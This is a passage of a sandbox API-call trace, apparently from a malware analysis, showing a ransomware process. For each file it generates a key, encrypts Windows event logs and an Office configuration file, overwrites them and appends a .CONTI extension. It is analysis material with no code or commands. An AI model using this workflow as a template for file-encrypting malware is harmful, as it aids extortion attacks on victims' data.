	[0096.611] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0096.612] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.612] GetLastError () returned 0x0
	[0096.612] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0096.612] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.612] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.612] SetEndOfFile (hFile=0x308) returned 1
	[0096.612] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.612] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.613] WriteFile (in: hFile=0x308, lpBuffer=0x17d9b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d9b14*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.614] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.614] ReadFile (in: hFile=0x308, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0096.615] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0096.615] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.615] WriteFile (in: hFile=0x308, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.615] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.616] WriteFile (in: hFile=0x308, lpBuffer=0x17d9b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d9b08*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0096.616] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.616] CloseHandle (hObject=0x308) returned 1
	[0096.618] GetProcessHeap () returned 0x1720000
	[0096.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.618] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx"
	[0096.618] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.CONTI"
	[0096.618] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.conti")) returned 1
	[0096.618] GetProcessHeap () returned 0x1720000
	[0096.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.618] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0096.618] GetProcessHeap () returned 0x1720000
	[0096.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740988 | out: hHeap=0x1720000) returned 1
	[0096.618] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0096.618] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d8688 | out: phKey=0x17d8688*=0x17c8570) returned 1
	[0096.618] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d868c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d868c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0096.619] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0096.619] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.619] GetLastError () returned 0x0
	[0096.619] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0096.619] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.619] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.620] SetEndOfFile (hFile=0x308) returned 1
	[0096.620] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.620] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.620] WriteFile (in: hFile=0x308, lpBuffer=0x17d868c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d868c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.621] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.621] ReadFile (in: hFile=0x308, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0096.622] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0096.623] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.623] WriteFile (in: hFile=0x308, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.623] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.623] WriteFile (in: hFile=0x308, lpBuffer=0x17d8680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d8680*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0096.623] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.623] CloseHandle (hObject=0x308) returned 1
	[0096.625] GetProcessHeap () returned 0x1720000
	[0096.625] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.625] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx"
	[0096.625] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.CONTI"
	[0096.625] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.conti")) returned 1
	[0096.625] GetProcessHeap () returned 0x1720000
	[0096.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.625] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0096.625] GetProcessHeap () returned 0x1720000
	[0096.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0096.626] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0096.626] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d7fb0 | out: phKey=0x17d7fb0*=0x17c8570) returned 1
	[0096.626] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7fb4, pdwDataLen=0x3bbfde4 | out: pbData=0x17d7fb4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0096.626] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0096.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.627] GetLastError () returned 0x0
	[0096.627] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0096.627] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.627] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.627] SetEndOfFile (hFile=0x308) returned 1
	[0096.627] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.627] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.627] WriteFile (in: hFile=0x308, lpBuffer=0x17d7fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d7fb4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.629] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.629] ReadFile (in: hFile=0x308, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0096.630] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0096.630] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.630] WriteFile (in: hFile=0x308, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.630] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.631] WriteFile (in: hFile=0x308, lpBuffer=0x17d7fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d7fa8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0096.631] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.631] CloseHandle (hObject=0x308) returned 1
	[0096.632] GetProcessHeap () returned 0x1720000
	[0096.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.632] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx"
	[0096.632] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.CONTI"
	[0096.633] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.conti")) returned 1
	[0096.633] GetProcessHeap () returned 0x1720000
	[0096.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.633] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0096.633] GetProcessHeap () returned 0x1720000
	[0096.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740af0 | out: hHeap=0x1720000) returned 1
	[0096.633] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0096.633] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d88d0 | out: phKey=0x17d88d0*=0x17c8570) returned 1
	[0096.633] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d88d4, pdwDataLen=0x3bbfde4 | out: pbData=0x17d88d4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0096.634] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0096.634] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.634] GetLastError () returned 0x0
	[0096.634] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69632) returned 1
	[0096.634] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.634] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.634] SetEndOfFile (hFile=0x308) returned 1
	[0096.635] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.635] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.635] WriteFile (in: hFile=0x308, lpBuffer=0x17d88d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d88d4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.638] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.638] ReadFile (in: hFile=0x308, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11000, lpOverlapped=0x0) returned 1
	[0097.465] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11010) returned 1
	[0097.465] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.465] WriteFile (in: hFile=0x308, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11010, lpOverlapped=0x0) returned 1
	[0097.465] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.465] WriteFile (in: hFile=0x308, lpBuffer=0x17d88c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d88c8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0097.466] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.466] CloseHandle (hObject=0x308) returned 1
	[0097.467] GetProcessHeap () returned 0x1720000
	[0097.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.467] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx"
	[0097.467] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.CONTI"
	[0097.467] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.conti")) returned 1
	[0097.468] GetProcessHeap () returned 0x1720000
	[0097.468] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.468] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0097.468] GetProcessHeap () returned 0x1720000
	[0097.468] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1100 | out: hHeap=0x1720000) returned 1
	[0097.468] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0099.021] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17e66d0 | out: phKey=0x17e66d0*=0x17c8270) returned 1
	[0099.048] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e66d4, pdwDataLen=0x3bbfde4 | out: pbData=0x17e66d4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0099.050] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0099.050] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0099.050] GetLastError () returned 0x0
	[0099.050] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=21009) returned 1
	[0099.050] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5211
	[0099.050] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.050] SetEndOfFile (hFile=0x30c) returned 1
	[0099.050] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.050] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.050] WriteFile (in: hFile=0x30c, lpBuffer=0x17e66d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17e66d4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.052] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.052] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x5211, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x5211, lpOverlapped=0x0) returned 1
	[0099.053] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x5211, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x5220) returned 1
	[0099.053] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.053] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x5220, lpOverlapped=0x0) returned 1
	[0099.053] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.053] WriteFile (in: hFile=0x30c, lpBuffer=0x17e66c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17e66c8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0099.053] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.053] CloseHandle (hObject=0x30c) returned 1
	[0099.055] GetProcessHeap () returned 0x1720000
	[0099.055] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
